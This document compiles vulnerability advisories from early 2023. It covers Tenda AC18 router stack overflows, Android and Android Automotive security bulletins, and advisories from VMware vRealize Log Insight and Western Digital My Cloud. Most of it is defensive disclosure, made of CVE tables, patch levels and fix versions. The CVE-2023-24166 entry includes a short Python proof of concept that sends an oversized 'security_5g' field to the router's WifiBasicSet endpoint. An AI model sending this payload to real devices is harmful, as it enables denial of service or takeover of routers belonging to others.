Tenda AC18 V15.03.05.19 is vulnerable to Buffer Overflow via /goform/FUN_0007343c.

****CVE-2023-24169****

Tenda AC18 Unauthorized stack overflow vulnerability

****1\. Affected version:****

Tenda ac18\_kf\_V15.03.05.19(6318\_)\_cn

****2\. Firmware download address****

https://www.tenda.com.cn/download/detail-2683.html

****3\. Vulnerability details****

The function "FUN\_0007343c" contains a stack-based buffer overflow vulnerability. In the function, it reads in a user-provided parameter, and the variable is passed to the function without any length check, which may lead to overflow of the stack-based buffer. As a result, by requesting the page, an attacker can easily execute a denial of service attack or remote code execution with carefully crafted overflow data.

****4\. Recurring vulnerabilities and POC****

Due to legal and policy reasons, we are unable to provide the exploit for this vulnerability at this time.

**5\. Author**

Drizzling\_Sun @KRlab

CVE-2023-24169: Tenda/6.md at main · DrizzlingSun/Tenda

Tenda AC18 V15.03.05.19 is vulnerable to Buffer Overflow via /goform/formWifiBasicSet.

****CVE-2023-24166****

Tenda AC18 Unauthorized stack overflow vulnerability

****1\. Affected version:****

Tenda ac18\_kf\_V15.03.05.19(6318\_)\_cn

****2\. Firmware download address****

https://www.tenda.com.cn/download/detail-2683.html

****3\. Vulnerability details****

The function "formWifiBasicSet" contains a stack-based buffer overflow vulnerability. In the function, it reads in a user-provided parameter, and the variable is passed to the function without any length check, which may lead to overflow of the stack-based buffer. As a result, by requesting the page, an attacker can easily execute a denial of service attack or remote code execution with carefully crafted overflow data.

****4\. Recurring vulnerabilities and POC****

import requests
from pwn import \*

url \= 'http://x.x.x.x/goform/WifiBasicSet'
pl \= 'a'\*564+p32(0xdeadbeef)
data \= {'security\_5g':pl, 'hideSsid':'1', 'ssid':'1', 'security':'1', 'wrlPwd':'1', 'hideSsid\_5g':'1', 'ssid\_5g':'1', 'wrlPwd\_5g': '1'}

requests.post(url, data\=data)

**5\. Author**

Drizzling\_Sun @KRlab

CVE-2023-24166: Tenda/2.md at main · DrizzlingSun/Tenda

Tenda AC18 V15.03.05.19 is vulnerable to Buffer Overflow via /goform/fromSetWirelessRepeat.

****CVE-2023-24170****

Tenda AC18 Unauthorized stack overflow vulnerability

****1\. Affected version:****

Tenda ac18\_kf\_V15.03.05.19(6318\_)\_cn

****2\. Firmware download address****

https://www.tenda.com.cn/download/detail-2683.html

****3\. Vulnerability details****

The function "fromSetWirelessRepeat" contains a stack-based buffer overflow vulnerability. In the function, it reads in a user-provided parameter, and the variable is passed to the function without any length check, which may lead to overflow of the stack-based buffer. As a result, by requesting the page, an attacker can easily execute a denial of service attack or remote code execution with carefully crafted overflow data.

****4\. Recurring vulnerabilities and POC****

Due to legal and policy reasons, we are unable to provide the exploit for this vulnerability at this time.

**5\. Author**

Drizzling\_Sun @KRlab

CVE-2023-24170: Tenda/3.md at main · DrizzlingSun/Tenda

Tenda AC18 V15.03.05.19 is vulnerable to Buffer Overflow via /goform/FUN_000c2318.

****CVE-2023-24164****

Tenda AC18 Unauthorized stack overflow vulnerability

****1\. Affected version:****

Tenda ac18\_kf\_V15.03.05.19(6318\_)\_cn

****2\. Firmware download address****

https://www.tenda.com.cn/download/detail-2683.html

****3\. Vulnerability details****

The function "FUN\_000c2318" contains a stack-based buffer overflow vulnerability. In the function, it reads in a user-provided parameter, and the variable is passed to the function without any length check, which may lead to overflow of the stack-based buffer. As a result, by requesting the page, an attacker can easily execute a denial of service attack or remote code execution with carefully crafted overflow data.

****4\. Recurring vulnerabilities and POC****

Due to legal and policy reasons, we are unable to provide the exploit for this vulnerability at this time.

**5\. Author**

Drizzling\_Sun @KRlab

CVE-2023-24164: Tenda/4.md at main · DrizzlingSun/Tenda

Tenda AC18 V15.03.05.19 is vulnerable to Buffer Overflow via /goform/initIpAddrInfo.

****CVE-2023-24165****

Tenda AC18 Unauthorized stack overflow vulnerability

****1\. Affected version:****

Tenda ac18\_kf\_V15.03.05.19(6318\_)\_cn

****2\. Firmware download address****

AC18升级软件\_腾达(Tenda)官方网站

****3\. Vulnerability details****

The function "initIpAddrInfo" contains a stack-based buffer overflow vulnerability. In the function, it reads in a user-provided parameter, and the variable is passed to the function without any length check, which may lead to overflow of the stack-based buffer. As a result, by requesting the page, an attacker can easily execute a denial of service attack or remote code execution with carefully crafted overflow data.

****4\. Recurring vulnerabilities and POC****

Due to legal and policy reasons, we are unable to provide the exploit for this vulnerability at this time.

**5\. Author**

Drizzling\_Sun @KRlab

CVE-2023-24165: Tenda/7.md at main · DrizzlingSun/Tenda

An issue was discovered in the rollback feature of Elastic Endpoint Security for Windows, which could allow unprivileged users to elevate their privileges to those of the LocalSystem account.

CVE-2022-38775: Security issues

The PowerVR GPU kernel driver maintains an "Information Page" used by its cache subsystem. This page can only be written by the GPU driver itself, but prior to DDK 1.18 however, a user-space program could write arbitrary data to the page, leading to memory corruption issues.Product: AndroidVersions: Android SoCAndroid ID: A-259967780

_Published January 3, 2023 | Updated January 10, 2023_

The Android Security Bulletin contains details of security vulnerabilities affecting Android devices. Security patch levels of 2023-01-05 or later address all of these issues. To learn how to check a device's security patch level, see Check and update your Android version.

Android partners are notified of all issues at least a month before publication. Source code patches for these issues will be released to the Android Open Source Project (AOSP) repository in the next 48 hours. We will revise this bulletin with the AOSP links when they are available.

The most severe of these issues is a high security vulnerability in the Framework component that could lead to local escalation of privilege with no additional execution privileges needed. The severity assessment is based on the effect that exploiting the vulnerability would possibly have on an affected device, assuming the platform and service mitigations are turned off for development purposes or if successfully bypassed.

Refer to the Android and Google Play Protect mitigations section for details on the Android security platform protections and Google Play Protect, which improve the security of the Android platform.

**Android and Google service mitigations**

This is a summary of the mitigations provided by the Android security platform and service protections such as Google Play Protect. These capabilities reduce the likelihood that security vulnerabilities could be successfully exploited on Android.

*   Exploitation for many issues on Android is made more difficult by enhancements in newer versions of the Android platform. We encourage all users to update to the latest version of Android where possible.
*   The Android security team actively monitors for abuse through Google Play Protect and warns users about Potentially Harmful Applications. Google Play Protect is enabled by default on devices with Google Mobile Services, and is especially important for users who install apps from outside of Google Play.

**2023-01-01 security patch level vulnerability details**

In the sections below, we provide details for each of the security vulnerabilities that apply to the 2023-01-01 patch level. Vulnerabilities are grouped under the component they affect. Issues are described in the tables below and include CVE ID, associated references, type of vulnerability, severity, and updated AOSP versions (where applicable). When available, we link the public change that addressed the issue to the bug ID, like the AOSP change list. When multiple changes relate to a single bug, additional references are linked to numbers following the bug ID. Devices with Android 10 and later may receive security updates as well as Google Play system updates.

**Framework**

The most severe vulnerability in this section could lead to local escalation of privilege with no additional execution privileges needed.

    

CVE

References

Type

Severity

Updated AOSP versions

CVE-2022-20456

A-242703780

EoP

High

10, 11, 12, 12L, 13

CVE-2022-20489

A-242703460

EoP

High

10, 11, 12, 12L, 13

CVE-2022-20490

A-242703505

EoP

High

10, 11, 12, 12L, 13

CVE-2022-20492

A-242704043

EoP

High

10, 11, 12, 12L, 13

CVE-2022-20493

A-242846316

EoP

High

10, 11, 12, 12L, 13

CVE-2023-20912

A-246301995

EoP

High

13

CVE-2023-20916

A-229256049

EoP

High

12, 12L

CVE-2023-20919

A-252663068

EoP

High

13

CVE-2023-20920

A-204584366

EoP

High

10, 11, 12, 12L, 13

CVE-2023-20921

A-243378132

EoP

High

10, 11, 12, 12L, 13

CVE-2022-20494

A-243794204

DoS

High

10, 11, 12, 12L, 13

CVE-2023-20908

A-239415861

DoS

High

10, 11, 12, 12L, 13

CVE-2023-20922

A-237291548

DoS

High

11, 12, 12L, 13

**System**

The most severe vulnerability in this section could lead to local escalation of privilege of BLE with no additional execution privileges needed.

**Google Play system updates**

The following issues are included in Project Mainline components.

    

CVE

References

Type

Severity

Updated AOSP versions

CVE-2022-20461

A-228602963

EoP

High

10, 11, 12, 12L, 13

CVE-2023-20904

A-246300272

EoP

High

12L, 13

CVE-2023-20905

A-241387741

EoP

High

10

CVE-2023-20913

A-246933785

EoP

High

10, 11, 12, 12L, 13

CVE-2023-20915

A-246930197

EoP

High

10, 11, 12, 12L, 13

 

Subcomponent

CVE

MediaProvider

CVE-2023-20912

**2023-01-05 security patch level vulnerability details**

In the sections below, we provide details for each of the security vulnerabilities that apply to the 2023-01-05 patch level. Vulnerabilities are grouped under the component they affect. Issues are described in the tables below and include CVE ID, associated references, type of vulnerability, severity, and updated AOSP versions (where applicable). When available, we link the public change that addressed the issue to the bug ID, like the AOSP change list. When multiple changes relate to a single bug, additional references are linked to numbers following the bug ID.

**Kernel**

The most severe vulnerability in this section could lead to remote code execution with no additional execution privileges needed.

    

CVE

References

Type

Severity

Subcomponent

CVE-2022-42719

A-253642087  
Upstream kernel \[2\] \[3\] \[4\] \[5\] \[6\] \[7\] \[8\] \[9\] \[10\] \[11\] \[12\] \[13\] \[14\]

RCE

Critical

mac80211

CVE-2022-42720

A-253642015  
Upstream kernel \[2\] \[3\] \[4\] \[5\] \[6\] \[7\] \[8\] \[9\] \[10\] \[11\] \[12\] \[13\] \[14\]

RCE

Critical

WLAN

CVE-2022-42721

A-253642088  
Upstream kernel \[2\] \[3\] \[4\] \[5\] \[6\] \[7\] \[8\] \[9\] \[10\] \[11\] \[12\] \[13\] \[14\]

RCE

Critical

Multiple Modules

CVE-2022-2959

A-244395411  
Upstream kernel

EoP

High

Pipe

**Kernel components**

The most severe vulnerability in this section could lead to remote code execution with no additional execution privileges needed.

    

CVE

References

Type

Severity

Subcomponent

CVE-2022-41674

A-253641805  
Upstream kernel \[2\] \[3\] \[4\] \[5\] \[6\] \[7\] \[8\] \[9\] \[10\] \[11\] \[12\] \[13\] \[14\]

RCE

Critical

WLAN

CVE-2023-20928

A-254837884  
Upstream kernel

EoP

High

Binder driver

**Kernel LTS**

The following kernel versions have been updated. Kernel version updates are dependent on the version of Android OS at the time of device launch.

  

References

Android Launch Version

Minimum Kernel Version

A-224575820

12

5.10.101

**Imagination Technologies**

This vulnerability affects Imagination Technologies components and further details are available directly from Imagination Technologies. The severity assessment of this issue is provided directly by Imagination Technologies.

    

CVE

References

Severity

Subcomponent

CVE-2022-20235  

A-259967780 \*

High

PowerVR-GPU

**MediaTek components**

These vulnerabilities affect MediaTek components and further details are available directly from MediaTek. The severity assessment of these issues is provided directly by MediaTek.

    

CVE

References

Severity

Subcomponent

CVE-2022-32635  

A-257714327  
M-ALPS07573237 \*

High

gps

CVE-2022-32636  

A-257846591  
M-ALPS07510064 \*

High

keyinstall

CVE-2022-32637  

A-257860658  
M-ALPS07491374 \*

High

hevc decoder

**Unisoc components**

These vulnerabilities affect Unisoc components and further details are available directly from Unisoc. The severity assessment of these issues is provided directly by Unisoc.

    

CVE

References

Severity

Subcomponent

CVE-2022-44425  

A-258731891  
U-2028856 \*

High

Kernel

CVE-2022-44426  

A-258728978  
U-2028856 \*

High

Kernel

CVE-2022-44427  

A-258736883  
U-1888565 \*

High

Kernel

CVE-2022-44428  

A-258741356  
U-1888565 \*

High

Kernel

CVE-2022-44429  

A-258743555  
U-1981296 \*

High

Kernel

CVE-2022-44430  

A-258749708  
U-1888565 \*

High

Kernel

CVE-2022-44431  

A-258741360  
U-1981296 \*

High

Kernel

CVE-2022-44432  

A-258743558  
U-1981296 \*

High

Kernel

CVE-2022-44434  

A-258760518  
U-2064988 \*

High

Android

CVE-2022-44435  

A-258759189  
U-2064988 \*

High

Android

CVE-2022-44436  

A-258760519  
U-2064988 \*

High

Android

CVE-2022-44437  

A-258759192  
U-2064988 \*

High

Android

CVE-2022-44438  

A-258760781  
U-2064988 \*

High

Android

**Qualcomm components**

These vulnerabilities affect Qualcomm components and are described in further detail in the appropriate Qualcomm security bulletin or security alert. The severity assessment of these issues is provided directly by Qualcomm.

    

CVE

References

Severity

Subcomponent

CVE-2022-22088  

A-231156521  
QC-CR#3052411

Critical

Bluetooth

CVE-2022-33255  

A-250627529  
QC-CR#3212699

High

Bluetooth

**Qualcomm closed-source components**

These vulnerabilities affect Qualcomm closed-source components and are described in further detail in the appropriate Qualcomm security bulletin or security alert. The severity assessment of these issues is provided directly by Qualcomm.

    

CVE

References

Severity

Subcomponent

CVE-2021-35097  

A-209469821 \*

Critical

Closed-source component

CVE-2021-35113  

A-209469998 \*

Critical

Closed-source component

CVE-2021-35134  

A-213239776 \*

Critical

Closed-source component

CVE-2022-23960  

A-238203772 \*

High

Closed-source component

CVE-2022-25725  

A-238101314 \*

High

Closed-source component

CVE-2022-25746  

A-238106983 \*

High

Closed-source component

CVE-2022-33252  

A-250627159 \*

High

Closed-source component

CVE-2022-33253  

A-250627591 \*

High

Closed-source component

CVE-2022-33266  

A-250627569 \*

High

Closed-source component

CVE-2022-33274  

A-250627236 \*

High

Closed-source component

CVE-2022-33276  

A-250627271 \*

High

Closed-source component

CVE-2022-33283  

A-250627602 \*

High

Closed-source component

CVE-2022-33284  

A-250627218 \*

High

Closed-source component

CVE-2022-33285  

A-250627435 \*

High

Closed-source component

CVE-2022-33286  

A-250627240 \*

High

Closed-source component

**Common questions and answers**

This section answers common questions that may occur after reading this bulletin.

**1\. How do I determine if my device is updated to address these issues?**

To learn how to check a device's security patch level, see Check and update your Android version.

*   Security patch levels of 2023-01-01 or later address all issues associated with the 2023-01-01 security patch level.
*   Security patch levels of 2023-01-05 or later address all issues associated with the 2023-01-05 security patch level and all previous patch levels.

Device manufacturers that include these updates should set the patch string level to:

*   \[ro.build.version.security\_patch\]:\[2023-01-01\]
*   \[ro.build.version.security\_patch\]:\[2023-01-05\]

For some devices on Android 10 or later, the Google Play system update will have a date string that matches the 2023-01-01 security patch level. Please see this article for more details on how to install security updates.

**2\. Why does this bulletin have two security patch levels?**

This bulletin has two security patch levels so that Android partners have the flexibility to fix a subset of vulnerabilities that are similar across all Android devices more quickly. Android partners are encouraged to fix all issues in this bulletin and use the latest security patch level.

*   Devices that use the 2023-01-01 security patch level must include all issues associated with that security patch level, as well as fixes for all issues reported in previous security bulletins.
*   Devices that use the security patch level of 2023-01-05 or newer must include all applicable patches in this (and previous) security bulletins.

Partners are encouraged to bundle the fixes for all issues they are addressing in a single update.

**3\. What do the entries in the _Type_ column mean?**

Entries in the _Type_ column of the vulnerability details table reference the classification of the security vulnerability.

 

Abbreviation

Definition

RCE

Remote code execution

EoP

Elevation of privilege

ID

Information disclosure

DoS

Denial of service

N/A

Classification not available

**4\. What do the entries in the _References_ column mean?**

Entries under the _References_ column of the vulnerability details table may contain a prefix identifying the organization to which the reference value belongs.

 

Prefix

Reference

A-

Android bug ID

QC-

Qualcomm reference number

M-

MediaTek reference number

N-

NVIDIA reference number

B-

Broadcom reference number

U-

UNISOC reference number

**5\. What does an \* next to the Android bug ID in the _References_ column mean?**

Issues that are not publicly available have an \* next to the corresponding reference ID. The update for that issue is generally contained in the latest binary drivers for Pixel devices available from the Google Developer site.

**6\. Why are security vulnerabilities split between this bulletin and device / partner security bulletins, such as the Pixel bulletin?**

Security vulnerabilities that are documented in this security bulletin are required to declare the latest security patch level on Android devices. Additional security vulnerabilities that are documented in the device / partner security bulletins are not required for declaring a security patch level. Android device and chipset manufacturers may also publish security vulnerability details specific to their products, such as Google, Huawei, LGE, Motorola, Nokia, or Samsung.

**Versions**

  

Version

Date

Notes

1.0

January 3, 2022

Bulletin Published

1.1

January 5, 2022

Bulletin revised to include AOSP links

1.2

January 10, 2022

Revised CVE Table

CVE-2022-20235: Android Security Bulletin—January 2023  |  Android Open Source Project

VMware vRealize Log Insight contains an Information Disclosure Vulnerability. A malicious actor can remotely collect sensitive session and application information without authentication.

Advisory ID: VMSA-2023-0001.1

CVSSv3 Range: 5.3-9.8

Issue Date: 2023-01-24

Updated On: 2023-01-31

CVE(s): CVE-2022-31706, CVE-2022-31704, CVE-2022-31710, CVE-2022-31711

Synopsis: VMware vRealize Log Insight latest updates address multiple security vulnerabilities (CVE-2022-31706, CVE-2022-31704, CVE-2022-31710, CVE-2022-31711)

****1\. Impacted Products****

VMware vRealize Log Insight

****2\. Introduction****

Multiple vulnerabilities in VMware vRealize Log Insight were privately reported to VMware. Updates and workarounds are available to address these vulnerabilities in affected VMware products.

****3a. VMware vRealize Log Insight Directory Traversal Vulnerability (CVE-2022-31706)****

The vRealize Log Insight contains a Directory Traversal Vulnerability. VMware has evaluated the severity of this issue to be in the critical severity range with a maximum CVSSv3 base score of 9.8.

An unauthenticated, malicious actor can inject files into the operating system of an impacted appliance which can result in remote code execution.

To remediate CVE-2022-31706 apply the updates listed in the 'Fixed Version' column of the 'Response Matrix' below to affected deployments.

Workarounds for CVE-2022-31706 can be found in the 'Workaround' column of the 'Response Matrix' below.

VMware has confirmed that exploit code for CVE-2022-31706 has been published.

VMware would like to thank ZDI for reporting this vulnerability to us.

****3b. VMware vRealize Log Insight broken access control Vulnerability (CVE-2022-31704)****

The vRealize Log Insight contains a broken access control vulnerability. VMware has evaluated the severity of this issue to be in the critical severity range with a maximum CVSSv3 base score of 9.8.

An unauthenticated, malicious actor can inject files into the operating system of an impacted appliance which can result in remote code execution.

To remediate CVE-2022-31704 apply the updates listed in the 'Fixed Version' column of the 'Response Matrix' below to affected deployments.

Workarounds for CVE-2022-31704 can be found in the 'Workaround' column of the 'Response Matrix' below.

VMware has confirmed that exploit code for CVE-2022-31704 has been published.

VMware would like to thank ZDI for reporting this vulnerability to us.

****3c. VMware vRealize Log Insight contains a Deserialization Vulnerability (CVE-2022-31710)****

vRealize Log Insight contains a deserialization vulnerability. VMware has evaluated the severity of this issue to be in the important severity range with a maximum CVSSv3 base score of 7.5.

An unauthenticated malicious actor can remotely trigger the deserialization of untrusted data which could result in a denial of service.

To remediate CVE-2022-31710 apply the updates listed in the 'Fixed Version' column of the 'Response Matrix' below to affected deployments.

Workarounds for CVE-2022-31710 can be found in the 'Workaround' column of the 'Response Matrix' below.

VMware has confirmed that exploit code for CVE-2022-31710 has been published.

VMware would like to thank ZDI for reporting this vulnerability to us.

****3d. VMware vRealize Log Insight contains an Information Disclosure Vulnerability (CVE-2022-31711)****

vRealize Log Insight contains an Information Disclosure Vulnerability. VMware has evaluated the severity of this issue to be in the moderate severity range with a maximum CVSSv3 base score of 5.3.

A malicious actor can remotely collect sensitive session and application information without authentication.

To remediate CVE-2022-31711 apply the updates listed in the 'Fixed Version' column of the 'Response Matrix' below to affected deployments.

Workarounds for CVE-2022-31711 can be found in the 'Workaround' column of the 'Response Matrix' below.

VMware would like to thank ZDI for reporting this vulnerability to us.

Product

Version

Running On

CVE Identifier

CVSSv3

Severity

Fixed Version

Workarounds

Additional Documentation

VMware vRealize Log Insight

8.x

Any

CVE-2022-31706, CVE-2022-31704, CVE-2022-31710, CVE-2022-31711

9.8, 9.8, 7.5, 5.3

critical

8.10.2

KB90635

None

VMware Cloud Foundation (VMware vRealize Log Insight)

4.x, 3.x

Any

CVE-2022-31706, CVE-2022-31704, CVE-2022-31710, CVE-2022-31711

9.8, 9.8, 7.5, 5.3

critical

KB90668

KB90635

None

****4\. References****

****5\. Change Log****

**2023-01-24 VMSA-2023-0001  
**Initial security advisory.

**2023-01-31 VMSA-2023-0001.1**  
Updated VMSA to note that VMware has confirmed that exploit code for CVE-2022-31706, CVE-2022-31704, and CVE-2022-31710 have been published.

****6\. Contact****

CVE-2022-31711: VMSA-2023-0001

A vulnerability in the FTP service of Western Digital My Cloud OS 5 devices running firmware versions prior to 5.26.119 allows an attacker to read and write arbitrary files. This could lead to a full NAS compromise and would give remote execution capabilities to the attacker.

**WDC Tracking Number:** WDC-23002  
**Product Line:** My Cloud  
**Published:** January 10, 2023

**Last Updated:** January 10, 2023

**Description**

My Cloud OS 5 Firmware 5.26.119 includes updates to help improve the security of your My Cloud OS 5 devices.

To take advantage of the latest security fixes, Western Digital recommends that users promptly update their devices to the latest firmware by clicking on the firmware update notification.

**Product Impact**

**Minimum Fix Version**

**Last Updated**

My Cloud PR2100

5.26.119

January 10, 2023

My Cloud PR4100

5.26.119

January 10, 2023

My Cloud EX4100

5.26.119

January 10, 2023

My Cloud EX2 Ultra

5.26.119

January 10, 2023

My Cloud Mirror G2

5.26.119

January 10, 2023

My Cloud DL2100

5.26.119

January 10, 2023

My Cloud DL4100

5.26.119

January 10, 2023

My Cloud EX2100

5.26.119

January 10, 2023

My Cloud

5.26.119

January 10, 2023

WD Cloud

5.26.119

January 10, 2023

For more information on the latest security updates, see the release notes.

**Advisory Summary**

Addressed a remote code execution vulnerability that was caused by a command that read files from a privileged location and created a system command without sanitizing the read data. This command could be triggered by an attacker remotely to cause code execution and gain a reverse shell.

**CVE Number:** CVE-2022-29841

Addressed a command injection vulnerability that could allow an attacker to execute code in the context of the root user on a vulnerable CGI file.  

**CVE Number:**  CVE-2022-29842  

Addressed a vulnerability in the DDNS service configuration that could allow an attacker to execute code in the context of the root user.

**CVE Number:** CVE-2022-29843

Reported by: rskvp93 and biennd4 (from VcsLab of Viettel Cyber Security) working with Trend Micro Zero Day Initiative.

Addressed a memory corruption vulnerability in the FTP service that could allow an attacker to read and write arbitrary files. This could lead to a full NAS compromise and would give remote execution capabilities to the attacker.

**CVE Number:** CVE-2022-29844

Reported by: Luca MORO (@johncool\_\_) - moro.luca@gmail.comworking with Trend Micro Zero Day Initiative.

CVE-2022-29844: WDC-23002 My Cloud Firmware Version 5.26.119 | Western Digital

In ApplicationsDetailsActivity of AndroidManifest.xml, there is a possible DoS due to a tapjacking/overlay attack. This could lead to local denial of service with no additional execution privileges needed. User interaction is needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-12Android ID: A-183410508

_Published January 3, 2022_

The Android Automotive OS (AAOS) Update Bulletin contains details of security vulnerabilities affecting the Android Automotive OS platform. The full AAOS update comprises the security patch level of 2023-01-05 or later from the January 2023 Android Security Bulletin in addition to all issues in this bulletin.

We encourage all customers to accept these updates to their devices.

The most severe of these issues is a high security vulnerability in the Platform Apps component that could lead to local escalation of privilege with no additional execution privileges needed. The severity assessment is based on the effect that exploiting the vulnerability would possibly have on an affected device, assuming the platform and service mitigations are turned off for development purposes or if successfully bypassed.

**Announcements**

*   In addition to the security vulnerabilities described in the January 2023 Android Security Bulletin, the January 2023 Android Automotive OS Update Bulletin also contains patches specifically for AAOS vulnerabilities as described below.

**2023-01-01 security patch level vulnerability details**

In the sections below, we provide details for each of the security vulnerabilities that apply to the 2023-01-01 patch level. Vulnerabilities are grouped under the component they affect. Issues are described in the tables below and include CVE ID, associated references, type of vulnerability, severity, and updated AOSP versions (where applicable). When available, we link the public change that addressed the issue to the bug ID, like the AOSP change list. When multiple changes relate to a single bug, additional references are linked to numbers following the bug ID. Devices with Android 10 and later may receive security updates as well as Google Play system updates.

**Media Framework**

The vulnerability in this section could lead to local information disclosure with no additional execution privileges needed.

    

CVE

References

Type

Severity

Updated AOSP versions

CVE-2022-20353

A-221041256

ID

High

10, 11

**Platform Apps**

The most severe vulnerability in this section could lead to local escalation of privilege with no additional execution privileges needed.

    

CVE

References

Type

Severity

Updated AOSP versions

CVE-2021-39738

A-216190509

EoP

High

10, 11, 12, 12L

CVE-2022-20425

A-255830464

DoS

High

10, 11

**Additional vulnerability details**

The section below provides details for security vulnerabilities that are being provided for disclosure purposes. **These issues are not required for SPL compliance.**

**Platform Apps**

    

CVE

References

Type

Severity

Updated AOSP versions

CVE-2022-20213

A-183410508

DoS

Moderate

10, 11, 12

CVE-2022-20215

A-183794206

DoS

Moderate

10, 11, 12

CVE-2022-20214

A-183411210

EoP

Low

10, 11, 12

**System UI**

    

CVE

References

Type

Severity

Updated AOSP versions

CVE-2022-20458

A-205567776

EoP

Moderate

12L

**Kernel Components**

    

CVE

References

Type

Severity

Subcomponent

CVE-2022-28389

A-228694270  
Upstream kernel

EoP

Moderate

USB CAN bus driver

**Common questions and answers**

This section answers common questions that may occur after reading this bulletin.

**1\. How do I determine if my device is updated to address these issues?**

To learn how to check a device's security patch level, read the instructions on the Google device update schedule.

*   Security patch levels of 2023-01-01 or later address all issues associated with the 2023-01-01 security patch level.

Device manufacturers that include these updates should set the patch string level to:

*   \[ro.build.version.security\_patch\]:\[2023-01-01\]

For some devices on Android 10 or later, the Google Play system update will have a date string that matches the 2023-01-01 security patch level. Please see this article for more details on how to install security updates.

**2\. What do the entries in the _Type_ column mean?**

Entries in the _Type_ column of the vulnerability details table reference the classification of the security vulnerability.

 

Abbreviation

Definition

RCE

Remote code execution

EoP

Elevation of privilege

ID

Information disclosure

DoS

Denial of service

N/A

Classification not available

**3\. What do the entries in the _References_ column mean?**

Entries under the _References_ column of the vulnerability details table may contain a prefix identifying the organization to which the reference value belongs.

 

Prefix

Reference

A-

Android bug ID

QC-

Qualcomm reference number

M-

MediaTek reference number

N-

NVIDIA reference number

B-

Broadcom reference number

U-

UNISOC reference number

**4\. What does an \* next to the Android bug ID in the _References_ column mean?**

Issues that are not publicly available have an \* next to the corresponding reference ID. The update for that issue is generally contained in the latest binary drivers for Pixel devices available from the Google Developer site.

**5\. Why are security vulnerabilities split between this bulletin and device / partner security bulletins, such as the Pixel bulletin?**

Security vulnerabilities that are documented in this security bulletin are required to declare the latest security patch level on Android devices. Additional security vulnerabilities that are documented in the device / partner security bulletins are not required for declaring a security patch level. Android device and chipset manufacturers may also publish security vulnerability details specific to their products, such as Google, Huawei, LGE, Motorola, Nokia, or Samsung.

**6\. Why does this bulletin have two security patch levels?**

This bulletin has two security patch levels so that Android partners have the flexibility to fix a subset of vulnerabilities that are similar across all Android devices more quickly. Android partners are encouraged to fix all issues in this bulletin and use the latest security patch level.

*   Devices that use the 2023-01-01 security patch level must include all issues associated with that security patch level, as well as fixes for all issues reported in previous security bulletins.

Partners are encouraged to bundle the fixes for all issues they are addressing in a single update.

**Versions**

  

Version

Date

Notes

1.0

January 3, 2022

Bulletin Published

Tag

#rce